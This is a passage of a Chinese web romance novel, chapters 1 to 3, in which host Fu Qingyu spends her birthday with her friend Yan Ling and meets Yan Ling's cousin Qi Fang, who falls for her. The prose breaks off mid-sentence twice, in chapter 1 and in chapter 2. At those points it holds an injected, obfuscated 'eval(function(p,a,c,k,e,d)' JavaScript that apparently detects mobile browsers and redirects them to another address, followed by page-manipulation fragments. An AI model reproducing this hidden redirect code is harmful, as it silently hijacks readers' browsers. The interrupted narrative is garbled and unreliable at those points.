《失控[gb]》 1. 01 《趣事早知道》节目录制后台,各工作人员纷纷收拾器械,准备收工。 “轻屿,萌姐叫你过去一趟。” 付轻屿拿下领夹麦,看向前来传话的实习生,扯了个浅笑,“知道了。” 她转过头,将手卡丢进垃圾桶,笑意随之消失。 愉快下班的愿望落空了,喜提领导谈话。 付轻屿顺手扯了张湿巾擦手,转身往萌姐休息室走。她心里有底,老油条告状了。 付轻屿意思着敲了两下门,也没等里面的人回声,拧开门锁,“萌姐这是想我了。要不要去喝点下午茶?” “少贫。”何雨萌盯着显示屏,没转头看她,伸手指了指,“这一段。” 付轻屿走到何雨萌身边,视线落在显示屏上。一只咸猪手想占女演员便宜,被她机智打断了。 “没问题啊,这不挺好的。” 何雨萌一手撑着头,无奈道:“刘导的脸都绿了,还挺好的?” 付轻屿啧了声,“他那咸猪手放在别人腿上时,脸怎么不绿呢。好好一个趣事节目,都让他那些荤段子熏臭了,竟给我们剪辑组增加工作量。” 何雨萌无奈瞪了她一眼。 付轻屿耸耸肩,“我也没当众驳刘导面子,不过是借游戏互动,将小萱叫到一旁,还贴心给他身边放了个大汉,衬托他独有的‘艺术’气质。都省的他自己吹嘘了,这还不满意?” 何雨萌看着屏幕里的‘艺术’气质,没忍住笑了下,“刘导是头发少,又不是没脑子。他在这个圈子混了多少年了,能看不懂你那些伎俩?” 付轻屿扯来把凳子坐下,“怎么?他找你告状了?” 何雨萌点了点头,“……说你没情商。” “……”付轻屿,“他没头发是真的。” 何雨萌是这档节目的主负责人,也算是付轻屿的伯乐。 付轻屿学的播音主持,从大二开始各种实习,一直藉藉无名,被何雨萌签做《趣事早知道》的主持人后,才渐渐积攒出名气。 “收一收性子,这个行业,你真把人得罪了,再想翻身,比登天都难。”何雨萌看着付轻屿,“也多亏你说话行事比较柔,刘导当你没情商了。” “我要是和你一样雷厉风行,他今天得气晕在这。”付轻屿笑着说。 何雨萌长相清秀,应了名字里的最后一个字,有点萌。她处理起事情来,眼神一转,气质就全变了,利落中透着股狠劲。 截然相反,付轻屿行事温柔,时不时透出点小幽默。可她带点混血的浓颜,外加175的身高,面无表情时,自带压迫感。 “刘导是近两期的常驻嘉宾,你先休息两周吧。”何雨萌叹了口气,“另一档音乐节目照常。” 付轻屿又不是愣头青,做之前考虑了后果,丢工作是最坏的情况。此时显然没到最坏,她玩笑着应下,“喜提两周假期。” 何雨萌:“没工资。” “……”付轻屿说,“萌姐,你有的时候真是一点都不萌。” 何雨萌起身打开休息室的灯,没窗户的小房间亮堂起来,付轻屿坐在椅子上没动,撑着脸看她,嘴角带着抹笑意。 这档节目自开播以来,收视率缓增不减,一年半多了,两人共事这么长时间,见过不少风浪,刘导的事不算大。 何雨萌一手撑在椅子上,付轻屿冲她挑了下眉,示意她有啥说啥。 “这种事也不是一次了,你啊你啊,左耳朵进右耳朵出,没一次听进去。”何雨萌看她两手在耳朵旁打转,笑了下,“现场这么多人,刘导做不了太出格的事。你也好好想想,明里暗里的,得罪多少人了。” “萌姐,反过来想,也帮了多少人。”付轻屿知道何雨萌真心为自己着想,也知道能遇到个领路人不容易。 付轻屿个子高,坐着跟何雨萌矮不了多少。她一手扯了扯面前人的衣服,“台上能说话的本来就不多,我手里拿着麦,再不吭声,心里过不去。 萌姐,你知道我的,我要是不做点什么,晚上回去睡不着觉。睡不着觉就掉头发,掉头发就不好看了,万一跟刘导一样,可咋整啊?” 何雨萌抿嘴笑了下,她也不是真的怪付轻屿做这些事。 难两全时,她这心啊,更偏向身边人罢了。 何雨萌看着付轻屿,欲言又止,她要调岗的事,打算以后找个合适的机会再说。 “行了,就知道说了白说,你自己拿好分寸吧。” “谢谢萌姐,”付轻屿站起身,“去喝点东西?” 何雨萌摇头,“我等会赶下一场。”她也不跟付轻屿客气,“先记下了,等有时间,补回来。” “大忙人,等你有时间。”付轻屿转身往外走,“我不多待了,你先忙。” 何雨萌轻轻嗯了声。 “轻屿,生日快乐。” 付轻屿落在门把上的手一顿,又听她说,“化妆间的储物柜上有个小袋子。” 付轻屿转过身,何雨萌整理东西,半晌才看过来,有点不确定地问:“我记错了?” “没有,”付轻屿回得直接,“我没想到你记得。” 何雨萌催促她,“行了,快走吧,我还一手的事要忙。趁这几天,好好休息。” 付轻屿笑了下,“知道了,谢谢萌姐。” 大学前,付轻屿对过生日没什么实感,也没什么期待。 实习工作后,经常忙地连轴转,趁着过生日的由头,她和颜泠都会抽出时间聚聚。渐渐地,两人生日倒成了个重要日子。 付轻屿拿下储物柜上的袋子,两只大牌口红,是她常用的色号。她拍了张图片给何雨萌发过去,又吹了两句彩虹屁。 刚发完消息,手机震了两下,付轻屿顺手接了。 “拼命三娘,工作进展如何?” 付轻屿一边收拾东西,一边说:“收工了。喜提两周假期。” 颜泠声音高了几分,“怎么了?受伤了?” “没有。”付轻屿收拾好东西,往地下车库走,“等会到车里跟你说。胳膊恢复的怎么样了?” 颜泠看了看拆完线的伤口,“还行,没什么事。今天跑了场剧宣,往回走着呢,你直接去我家吧。” 付轻屿上车后才跟颜泠讲今天的事。 “拜托,在我们女演员这里,刘导的名声超烂的,好不好。”颜泠觉得付轻屿发挥得不够好,“要是我在,肯定借着玩游戏,变着花地整整这老秃驴,大不了,大家一起下不来台好了。” 付轻屿打了把方向盘,拐出地下车库,笑着说:“别,你硬钢起来,我都怪害怕的。” 要说付轻屿处事圆滑,颜泠则像随时准备退出演艺圈,不在这混了。真急了,能说的不能说的,都得在她嘴里变着花样往外吐。 “我先开车了,一会见面说。”付轻屿听她应了声,随后挂断电话。 手机里弹出几条消息,有栏目工作群的,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966532|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模特工作群的,付轻屿扫了眼,没细看,抽空回了条房东的消息。 原本租的房子快到期了,付轻屿打算续租,房东却不对外出租了,说是收拾出来,准备和老伴养老。 正好趁这几天工作不忙,重新找找房子,搬家。 付轻屿点了脚刹车,停在红绿灯路口,瞧着周边的建筑,眼底有些落寞,不知道什么时候能买下个小窝。 大学有宿舍,好歹是个暂时落脚地,不用愁。工作一年多,搬了三次家,总感觉人是飘着的,没根,落不下。 仔细想想,二十多年了,她这根就没扎下过,没地落。 有个小窝,好像就有地扎根了。 绿灯亮起的瞬间,付轻屿踩了脚油门,车子行入一片车流中,淹没踪迹。 小区外的临时车位,付轻屿停下车,点开手机,差不多二十分钟。 通勤时间合适,价格也还可以,在这租房也算圆了颜泠一个心愿。之前没车,租房不仅要考虑价格,还得考虑通勤工具和时间,两人没租过一个小区。 付轻屿也算此地常客,早已清澈熟路,按下6楼的电梯,从包里翻出钥匙。 这栋楼是一梯两户,她出电梯后左拐,锁定602房间,利落打开房门。 “回来了。” 付轻屿钥匙还没拔出来,听到陌生的声音,愣了下。 开错门了? 她抬头看过去,横着窜出一个男生,手里橘子剥了一半,脚下踉跄两步才站稳,看向她的瞬间,也愣住了。 两人隔着一条玄关的距离,不到两米,面面相觑,表情中的惊讶,谁也不比谁少。 付轻屿退后半步,抬头看向门框上的牌子,602,没错。她又拧了拧手里的钥匙,抽了出来,也没错。 男生还盯着她,像是没有缓过神来。 付轻屿扬了下眉,看来是颜泠foronenight的对象。这次总算擦亮眼睛了,能看。 挺酷的小男生,不像4i。 “你是谁?” “前后脚,我在楼下等电梯时,看到停在6楼,就猜肯定是你到了。”颜泠的包斜跨在脖子上,一手抱着两件礼服,受伤的左手只拿了个手机,顶着有些滑稽造型,闪亮登场。 丝毫看不出是个刚参加完剧宣的女演员。 付轻屿没管男生说的话,转身朝她走了几步,接过东西。 “我去!”付轻屿一转身,颜泠才看见她身后的男生,“把他给忘了。” “怎么还把人带到家里来了?”付轻屿说。 颜泠头上顶了个问号,反应过来,急忙说,“想什么呢,这是我小姨家的弟弟。我什么时候把人带到家里来过。” 颜泠头顶大大的问号转移到付轻屿头上,“表弟?” 颜泠一抿嘴,“亲表弟。” 付轻屿还没反应过来,‘亲表弟’已经把她手里的衣服接了过去,“我来吧。” 他顺手将颜泠脖子上的包摘下来,没多说,转头往屋里走。 付轻屿看向颜泠,“我就知道,你的眼光不可能这么正常。” “好累。”颜泠挂到付轻屿身上,“放屁,哪个不好看。” ‘亲表弟’理了理头发,将脖子上的链条摆正,又照了照镜子,才走去。 颜泠看他出来,递了个眼神,“付轻屿。叫轻屿姐。” “轻屿姐。”男生稍稍点了下头,正式道,“你好,我叫祁放。” 2. 02 三人站在客厅,这么正式的介绍,多了几分奇怪。 付轻屿笑着说了句:“你也好。” 她一手托着颜泠的腰,将人丢在沙发上。 祁放找回没剥完的橘子,坐到一旁,没继续搭话,眼神悄悄瞟了两眼。 颜泠说个不停,将话题落到祁放身上,“胳膊受伤的事,前几天被我小姨知道了。跟她说过没什么大事,就缝了几针,还是放心不下。”她冲祁放扬了扬下巴,“店里太忙,她和姨夫走不开。这不,派小兵来看我了。” 小姨这个称呼叫得少,颜泠喜欢叫颜妈,付轻屿脑袋里打了个弯才将两个称呼搭上线。 除了姥姥,颜泠最亲的就是颜妈,时不时还会过去住一段时间。没听她说过祁放这个弟弟,也可能提过,付轻屿没过脑子。 付轻屿顺着颜泠的视线看去,跟祁放打了对眼。 祁放瞬间偏头避开。 付轻屿也收回视线,就此得出一个初步判断,这孩子腼腆,不太爱说话,挺乖的。 颜泠突然来了精神,“说起来,他算是你师弟。” 付轻屿顺着话问:“青影的?” 祁放将目光重新落到她身上,平淡地嗯了声:“还没报道,漫画创作专业。” 刚高考完,比她们小五六岁左右,隔了两条代沟。付轻屿点点头,那确实没什么话题好聊,恐怕在小屁孩眼里,她们都能称得上阿姨了。 祁放收回视线,面无表情地吃了口橘子。 一眼,就一眼,他苦苦构思的短漫女主,瞬间有了形状。灵感缪斯!这是他的灵感缪斯啊! 祁放心里一阵呐喊,恨不得当场翻两个跟头,打套双节棍,跪在地上。 方才在门口,他跟付轻屿四目相对的几秒,明明很陌生,却有种奇妙的熟悉感。 原来世界上真有这样的人。 他脑海中存在的那个虚影,一下子落到实处。 祁放大脑不受控制,冒出一句十分俗气的话,‘我们是不是在哪见过?’ 淡淡的橘子味在嘴中散开,带着丝丝酸涩,头脑空白一片,方才看向门口的那一眼,还在反复重现。 没有任何意外,他一见钟情了。 祁放面上平静,心里嚎出十万八千里。 颜泠扯下假睫毛,随口说:“他没给你发个消息啥的?” 付轻屿在她身边坐下来,一起卸妆,“没有。” 颜泠啧了声,又开口说:“也挺好的,干脆利索,省得拖泥带水。” 付轻屿嗯了声,表情没什么波澜,“上次那谁,不是又来找你了吗,最后怎么弄的?” “我都快让他烦死了……” 两人说话,没名没姓,除了‘那谁’就是代号,也不知道是男‘他’,还是女‘她’。祁放听得迷迷糊糊,又惊叹两人无障碍交流。 不过,有一点他十分清楚——付轻屿对他没意思,一点意思都没有。 祁放没谈过女朋友,好兄弟杨灿谈过,虽然被甩了,好歹跟女孩处过对象,知道得多些。 杨灿说过,女生在喜欢的人面前,都会比较在意自己的形象,或多或少吧,特别是不熟的时候。当然,男的也一样。 第一次见面,当场卸妆,等于直接saybye,祁放的心凉了一半。 付轻屿和颜泠聊得热火朝天,仿佛旁边没他这个人。 见两人一同走到卫生间,祁放倚到沙发上,一口气将半个橘子塞进嘴。 第一次见面而已,这才哪到哪?事在人为嘛。 祁放头脑放空,再回过神来,付轻屿正坐在对面,擦着手跟他对视一眼,不冷不热、非常客套得扬了扬嘴角。 祁放‘噌’一下坐直了。 付轻屿先是一愣,真笑出声,“紧张啥,我一不问你成绩,二不查你作业。比你大不了一轮,没那么大的辈分。” 祁放刚想开口,颜泠洗完脸出来,先出了声,“我换身衣服,你换不换?” 付轻屿摇头,颜泠径直走向主卧,“好吧,那再等我一下。” 一时间,客厅又只剩下两人,祁放的话口被打断,现在真不知道该说什么,就没开口。 付轻屿喝了口水,刚才没仔细看他,现在面对面坐着,看清楚了。长发小狼尾,耳朵上带了几个环,不知道是真耳洞,还是扣了几个挂件,穿衣挺潮的。 内双薄唇,鼻梁不低,稍稍透出些清秀,挺符合他这个年纪的感觉。 外形跟性子不搭。 “你……成年了吗?”付轻屿问。 等会去吃饭,将他自己丢在这也不太好,要是去小酌几杯,也不能带个未成年。 祁放被问得云里雾里,嘴比脑子快,“成年了,虚岁20,周岁19。” 他又小心补了句,“怎么了?” 付轻屿浅笑,“没事,一会吃完饭可能回去喝点,总不好将你丢在外面溜大街,先问一嘴。” 祁放一脸吃惊的表情,想压没压住,“带我一起?” 付轻屿玩笑道:“把你丢这?” “还带着他啊?”颜泠换好衣服走出来,瞧了祁放一眼,知道他想去,故意说,“不带他,烦人。” 祁放怼起亲姐来,毫不客气,“哎!颜泠!你才烦人,轻屿姐先说地带我去。” “先~说~地~带~我~去~”颜泠学他说话,“我俩说好的时候,你还不知道在哪呢,跟屁虫一个。” 祁放快速瞄了眼付轻屿,脸上有些挂不住,没什么气势地反驳颜泠,“你才跟屁虫。” 颜泠打发他,“先去找找你手机。” “知道了,你是不是给我藏起来了?” 付轻屿看出来了,祁放不是腼腆,是跟她不熟,没话。 颜泠滑到付轻屿面前,“把他丢这也没事,这么大个人了,饿不死。” 付轻屿倒觉没啥,一起吃顿饭而已,更何况是颜泠的家里人,又在这上学,以后免不了还要见面。“他愿意去,就一起。你还真烦他?” 颜泠点点头,“他是真烦人,上学的时候,我每次出去找你玩,都得费老大劲把这跟屁虫甩下。不过,也是怕你不自在。” “他跟我没话,我有啥不自在。”付轻屿笑了笑,“大老远过来找你,见都见到了,真将人丢在这,不是个事。” “什么不是个事?你就是想得太多。忘记他在家了,早知道不回来了。” 付轻屿无所谓,祁放又屁颠屁颠跟着,颜泠说了也没用。 半路停在一家蛋糕店旁,颜泠去拿蛋糕,叫两人车上等着。 祁放问:“我们三个吃饭吗?庆祝什么,还是有人过生日?” 付轻屿回了条工作上的消息,漫不经心地说:“我过生日。” “你过生日!” 付轻屿被他的震惊程度吓了一跳,转头看过去,祁放一手捂着嘴,好像也被自己吓到了。她莫名想笑,“我不能过生日?” 祁放摆了摆手,“不是,我没想到这么突然,啥也没准备。” 付轻屿笑着转回去,“你准备啥,小孩一个,等会多吃点饭就行了,记得祝我发财。” 祁放应了声,没再说话。心里捶地痛哭,过生日为什么也赶在第一次见面,还是在半路才知道,一点表现的机会都不给他留啊。 颜泠上车后将蛋糕递给祁放,见他蔫了吧唧的,也懒得多问。 祁放沉默片刻,头脑一转。什么阻碍?这是天赐良机!补送礼物,顺便可以找付轻屿一起吃饭。 祁放瞬间感觉整个人都通透了,抱着蛋糕,目光落在付轻屿身上,听两人说话。 ……还是听不懂谁跟谁。 原本以为过生日得有不少人,进到包间,等菜都上齐了,还是她们三个。祁放问了句,“没有其他人了?” 颜泠看他,“你还想谁来?” 祁放实话实说:“以为会有其他朋友,或者同事。” “不想那么麻烦,平常也就我们两个。”付轻屿说着,直接将蛋糕切了,一人递过一块。 祁放伸手接,没忍住问:“直接切了?不许愿吗?” 付轻屿浅浅笑了下,“没什么愿望,吃吧。” 祁放应了声好。 他一个学画画的,平常观察人微表情观察多了,看得出来,付轻屿只是挂了个笑,心里不见得真开心。 应该是有什么愿望吧。 祁放观察出来的,可不止这一件事。‘平常就我们两个’,说明付轻屿现在现在单身,应该单身一段时间了。 有机会! 颜泠凑到祁放脸旁,皱起眉头,“不至于吧,许妈没给你吃过蛋糕啊,美成这样。醒醒,又不是你过生日。” 祁放笑容僵了,看向颜泠,“很好吃,不行吗?你能不能对美食多一点尊重。” 颜泠嫌弃地看他一眼,“尊重尊重,吃吃吃,多吃点,撑死你。” 付轻屿看两人斗嘴,没忍住笑了下。她是真想有个妹妹或者弟弟,其实,不只是想,也跟爸妈说过。她没遗传到的优质基因,说不定下一个能遗传到,大家都能轻松点。 “轻屿,前一阵那个爆剧,还记不记得?”颜泠看着她,“姓冯的,演男二。” 付轻屿挑了下眉,“嗯,记得。” 颜泠带着热乎八卦,兴奋道:“男主和女三在一起了!” “这几天,男女主剧宣各处撒糖,居然没在一起?”付轻屿有些惊讶,除此之外,看不出别的情绪。 颜泠提这个话,想借着八卦提一嘴姓冯的,看看付轻屿下意识的反应。 付轻屿喜欢憋着事自己消化,问多了,就开始打马虎眼。 颜泠脾气直,也跟她吵过,没用。一个人的性子,哪是随随便便能改的,她改不了直脾气,付轻屿也改不了闷声自己耗。 处了十多年,两人早就适应了。 姓冯的,学表演,付轻屿跟他大学认识,谈了四年多。要颜泠说,分开的原因挺操蛋的,小演员事业上升期,公司不让谈,两人一说,分了。 分手后,颜泠才知道的,付轻屿跟她说是和平分手。和平个屁咧!颜泠用脚指头想都知道,姓冯的把话一说,付轻屿面上肯定平静答应了,说不定还送了他句‘前程似锦’。 付轻屿就这个性子,要跟她耍小脾气,说要走,她能哄,能给你放蜜罐里供起来。真想走,她再难受,都不会留了,没意思。 四年说断就断了,是个人心里都会不好受,付轻屿刚开始低沉了几天,一句话都不提姓冯的。颜泠陪着她,嘴里可没少骂。 后来,颜泠趁工作接了部戏,戏里戏外都将姓冯的骂了个遍,痛快了。 难受也是趁着工作空隙难受,一忙起来,就顾不上想了。 大半年过去,这事好像真淡了。颜泠拿不准付轻屿心里到底怎么想的,放没放下?偶尔旁敲侧击一下,自己观察。 现在看来,应该是真不在意了。 聊起八卦,祁放搭不上话,在一旁安静听着,眼睛时不时看向付轻屿。 付轻屿视线跟他对上两次,总觉得这小孩在看自己脸色,便笑着跟他搭了几句话,调动调动气氛。 有些职业病犯了。 吃得差不多后,颜泠看向祁放,毫无征兆得问了句,“能喝酒吗?” 祁放下意识看了眼付轻屿,“能。” 付轻屿真打算把祁放当自己弟弟带。她朋友不少,心里能依靠的就颜泠一个,确实会爱屋及乌。 看他那样,也不像能喝酒,颜泠又不缺陪酒的,付轻屿说:“不能喝也没事,给你买饮料。” “嗯!”祁放这声应的好听,付轻屿跟着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966533|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下。 颜泠定的包间,问完付轻屿的意思,又叫来几个热场子的朋友。 祁放跟后来的几人打了声招呼,接着坐到付轻屿身边,先把地占了。 前几天工作排得紧,付轻屿熬了两个大夜,真是跳不动了,倚在沙发上看颜泠闹腾。 祁放跟她坐着,一手在耳朵上揉捏着什么,看起来有些不适应。 付轻屿拍了他一下,“不自在?” “啊?”祁放摇头,“没有,我……不太会唱歌,不懂音乐,跑调。” 希望家里小提琴不会半夜起来削他。 他又看了眼活蹦乱跳的颜泠,“我姐玩得太嗨了,我跟不上。” 付轻屿也看向颜泠,想起她路上拜托的事,就此扯了个话题,“你之前做过模特?” “算是吧,瞎弄的。我老家有几个服装店,在网上卖衣服,会找我过去拍图。”祁放看她,有些不好意思,“我姐说你们都比较正式,就不给你添麻烦了。她也就是随口一提,你不用当真,我自己网上找找就行。” 付轻屿问:“多高?” “嗯?”祁放有些没反应过来,又紧接着说,“净身高189。” “模卡和作品集有吗?” 祁放翻出手机递给她,“模卡是杨小灿随便拍的,还有几张之前展示衣服拍的图。” 镜头表现力是有的,他的长相,入行也没问题,付轻屿翻了几张,“发给我吧,给你问一下。成不成就不知道了。” 付轻屿说完才反应过来,好像还没加联系方式,“二维码找一下,我加你。” 祁放往她身边凑了下,没拿回手机,直接在她手里将微信翻了出来。 付轻屿看他一眼,这孩子真不藏事啊。 付轻屿随手点开工作微信,顿了下,又返回去点了自己常用的。 祁放问:“你怎么两个微信?” “有一个是工作微信,消息太多了,休息的时候会静音。”付轻屿将手机还给他,“加你的这个,是我常用的。颜泠拍戏时,可能十几个小时不拿手机,你要是有急事,找我也行。手机号也发你了,存一下,你的手机号也发来,我备注一下。” 付轻屿利落干脆,跟交代工作似得,一股气都安排好了。祁放倒有些手忙脚乱,连着嗯了几声,又把自己的号码和名字都发了过去。 付轻屿看他,又叮嘱了句,“以后,不要随便把手机递到别人手里。” “好。”祁放脑子转得快,“你不是别人。我姐的好朋友。” 付轻屿笑了下,‘亲表弟’认证第一步,不生分了。 她随口一问:“怎么想着找工作了?” “想攒钱买个好一点的数位板。” 学画画的,确实用得到。付轻屿随后叉了块果盘,思忖片刻,“家里没给钱?” 祁放有啥说啥,“我爸说,十八之后就该自己考虑生计了,我觉得挺对的,也不是没给……” 家里给了钱,他没要,纯粹觉得靠自己养活画画很酷。 付轻屿没再问,之前听颜泠提过,许妈家里开了个小饭店,现在各行各业都不好做,可能手里不富裕吧。 付轻屿脑补了下,在她眼里,祁放就跟朵自力要强的小白花一样。 “耳朵怎么了?”付轻屿看他一直揉捏左边耳朵,没忍住问了句。 “耳夹摘不下来,有点疼。” 付轻屿往他身边靠了下,“手拿开,我看看。” 祁放乖乖放下手,偏头将耳朵递到她面前。 淡淡的葡萄味缠绕过来,还有种花的香气,他之前闻到过,一时想不起来。 耳夹后,一个小钢珠调节松紧,付轻屿两边都试着拧了拧,喃喃说,“这么难弄。” 祁放余光瞄了眼,只能看到她的手腕,便收回视线,安静等着。 他耳朵越来越烫,已分不清是疼的,还是被付轻屿手指来回摆弄,燥的。 “好了。”付轻屿取下耳夹,包间打着紫粉色的灯,耳朵倒看不出多红,只能看到被压进去一个小窝。 她下意识伸手,在小圆窝的地方揉了下。不知道祁放是疼的,还是痒的,往她手里歪了歪头。 付轻屿将耳饰塞到他手里,“下次换个好取的,也别拧得太过。” 祁放嗯了声,整个人都红透了,多亏包厢的灯光打掩护,才没漏什么马脚。 付轻屿自然坐好,拿起手机时正好震了下,弹出一条消息。 冯适:生日快乐。 付轻屿点进去,将消息红点消了,没想回。退回列表页面后,又觉得不回,跟没放下似得,她又点进去,没过脑子地回了个,“同乐同乐。” 节日祝贺的回复话术,用惯了。 付轻屿小声‘啧’了下,她过生日,有什么好同乐的? 再回别的也不合适,她盯着聊天页面,半天没有反应,干脆将手机丢到一旁,不管了。 祁放也收回目光,心里开始琢磨。 冯适,像个男生名字。只发条祝福,如果是普通朋友的话,有些生疏。男朋友的话,太不够格。 应该是前男友。 前男友而已…… 祁放笑了下,真烦。 “轻屿姐,生日快乐。发大财。” 付轻屿看他,灯光忽明忽暗,也没看清什么,“谢谢。” “我可以不叫姐吗?”祁放给付轻屿递了个果盘,“我好像只比你小五岁左右,叫姐,感觉有点奇怪。” 叫姐,奇怪吗? 付轻屿看他人畜无害的笑容,点头应下,“随便,别叫小付就行。” 她想捡个好大弟,结果人家不愿意,随便好了,总不好按着头认亲吧。 “好。” 又进一步!祁放心情好了不少,暂时不管那个姓冯的。 3. 03 八月初的晚风还带着阵阵燥热,颜泠醉地站不住,一手揽着付轻屿,一手扶着祁放,“我跟你俩说,我没醉,明天晚上还有场活动……” 颜泠脑子还算清醒,嘴皮子不太利索,卡了个壳,“后天还要拍一套杂志,没了,没活了!” 她往付轻屿面前凑,“正好你这两周不忙,我们出去玩,之前都没时间。” 付轻屿给她压了压帽子,“行了,等你醒醒酒,再想玩去的事。” 视线被遮住,颜泠抬起帽子,“没人拍我,没有人。一场一场试戏,我为一个角色写几千字的分析,上赶着求一个机会,人家都不用我哎,怎么会有人在这里拍我,不可能啦,不可能。” 付轻屿给她重新戴好帽子,拍拍头,“会有人拍的。” 颜泠垂着头,或许是酒劲上来了,半天没接话。 付轻屿接了个电话,随后跟代驾师傅碰面。她看向祁放,“客厅抽屉里有解酒药,记得给她泡杯蜂蜜水,再找个面膜放冰箱冷藏。” “好。”祁放点头记下。 两人将颜泠按进后排车座,躺好。 “屿子,不要走啊屿子,屿子,没有你我可怎么活啊,屿子……” 付轻屿踢了踢她的鞋,“行了行了,卡。” 颜泠胳膊举起来,“靠,不要卡!不要NG!” 付轻屿不打算跟个酒鬼多说,转头看向祁放,“辛苦了,看好你姐。等会儿,她要是在车上大声歌唱,很正常,不用害怕。唱累了,就消停了。” 祁放盯着她,眼睛亮亮的,“你不跟我们一起吗?” “不顺路,我打了车,两分钟到。”付轻屿催他上车,“师傅等着呢,快去吧。” “嗯,路上注意安全,我到家给你消息。”祁放一边说着,一边被付轻屿按进副驾驶。 付轻屿给了个眼神,示意他放心。 后视镜里的人影越来越小,直到拐了个弯,彻底不见,祁放才收回视线。 付轻屿没跟他开玩笑,颜泠魔鬼般的歌声持续了一路,快到家时才消停下来。 祁放费力将人搬回家里,腾出手来揉着耳朵,“太难听了,我要去治治耳朵。” 他说着,去厨房冲了杯蜂蜜水,放到茶几上,又开始翻找醒酒药。 “起来,喝水吃药。”祁放不好去主卧,回自己房间拿了颜泠赏赐的面膜,放到冰箱冷藏室。 顺便拍了张照片。 等他回到客厅时,颜泠已经把药吃了,蜂蜜水也喝了,正趴在沙发上,嘴里念叨,“拖鞋,我要我的拖鞋。小祁放,把哀家的拖鞋拿来,哀家要去睡觉,哀家的头发啊,都快掉光了。” “自己去穿。” 祁放将图片给付轻屿发过去:“蜂蜜水,解酒药,面膜都搞定了。” 祁放:到家了吗? 付轻屿:真棒.jpg 付轻屿:刚到家。 祁放还在想要说点啥,付轻屿又发来条消息:记得提醒颜泠定闹钟,明天有活动,别误事。 祁放:嗯嗯好。 付轻屿又发了两句经典结束语:时间不早了,早点睡。 付轻屿:晚安。 祁放看着消息,傻笑了下——还有晚安哎! 他迅速回了条:嗯嗯晚安。 手机半天没动静,祁放看向颜泠,“轻屿要我跟你说,定好闹钟,别耽误明天的活动。” 颜泠偏头瞪他,“托鞋,我要拖鞋!” “自己去穿。”祁放说着,已经转身去拿了。 “轻屿说的,你听。我说话没有用了,到底谁是你亲姐啊?没天理了。” 祁放将拖鞋放在一旁,“你是,你是我亲姐,别喊了。” 颜泠抬手指他,指偏了,“不对,谁让你叫轻屿了,没大没小的。” 祁放打算套一套酒鬼的话,“姐,你和轻屿,都没有男朋友?” 颜泠说:“怎么了?你有?” “你神经啊,我要有,也是有女朋友。” “男人没有好东西。”颜泠转头看他,手指点了点,“你也一样,不是什么好东西。” 祁放:“……”我干啥了?我干啥了! 他站起身,将一只拖鞋踢远,转头对颜泠摊开手,“不好意思,你弟不是什么好东西。别在沙发上,回房间睡。” “小兔崽子,拖鞋,哀家的拖鞋……” 祁放没管她说啥,转身去洗漱,再出来时,颜泠已经回卧室睡觉了。 拖鞋横在刚才的位置,另一只飞得更远。 祁放擦着头发,将两只拖鞋踢到她卧室门口,关灯回房间。 付轻屿的头像是只顶着树叶的小白狗,祁放躺在床上,把两人简短的聊天记录看了遍,笑着翻了个身,点进她朋友圈。 ——朋友仅展示最近半年的朋友圈—— 没有朋友圈,没有个签,没有状态,什么都没有。 祁放丢开手机,脑袋里自动浮现出下午见面的场景 他表现的,应该还不错吧。 没有缠着人说个不停,聊天也没有提到冒犯的问题…… 他伸手捏了捏耳朵,起身坐到桌前画画。 祁放的作息跟‘健康’一点都不搭边,有的时候灵感来了,在桌前画一晚。没灵感时,可能八九点就睡了。 睡觉没个准点,吃饭也是。这两点和颜泠一模一样,没少挨家里唠叨。 手头这本是短漫,剧情好顺,构思分镜花的时间多。祁放按下计时器,四个多小时,凌晨两点多。 他手贱地翻了翻创作后台,点了最新一条评论往下翻,无一例外,粉黑各占一半。 说他没天赋,祁放点了点头,那确实。他考了两年才考上的梦中情校,一次就上的人有的是。 说他画得好,祁放暂停欣赏自己的巨作,那确实。 说他剧情飞没了,祁放回想了一下,那确实。本来就是个无厘头搞笑漫。 总共上传了五个短篇,没有多少人看,整个评论翻完,不到超十分钟。 他从各种夹枪带棒的话语中摘出些有用信息,反思了一下。那些对自己有帮助的,在纸上随手记下,剩下的全部剔除脑外,全部剔除。 ……说他用脚勾的线,用屁|股想出来的构图,确实有些过分。谁家屁|股能想出如此绝妙的构图? 祁放想怼,忍了忍,最后算了,反正也没什么太过激的言论。 鼠标键在‘关机’上一顿,祁放迅速划走,点开网页。付轻屿是主持人,网上应该可以查到。 “什么啊,好少。” 祁放喃喃着,将两页信息看了个遍,又转头查找付轻屿主持的综艺看。 他只看付轻屿出境的片段,其他的直接跳过。 付轻屿说话很有亲和力,又能很敏锐的察觉出嘉宾的情绪,幽默化解。当然,遇到烂人时,就拿他当个笑话,幽默一下。 祁放一手托着脸,仔细欣赏。付轻屿眉眼深邃,带有英气,能看出混血感,跟一些当红明星站在一起,也毫不逊色。 ‘女主持人太高了,不好看。’祁放没关弹幕,一片花花绿绿的字体中精准看到了这一条。 祁放立即暂停,点开这条弹幕,没想到那人还追加了句,“一点都不衬旁边男演员。” 这条弹幕下,已经有几条友善的回复,祁放立即回复他:“怎么?自己太矮了,跑这来刷存在感?你咋不说旁边男演员太矮了?神经!” 近一年来,付轻屿主持过的节目还算好找。时间再早一点的,找起来就费些力气了,主要是没人记载。得捋着现有的这条线,一点一点摸索。 祁放在网上翻箱倒柜,终于挖出了她之前主持过的节目。 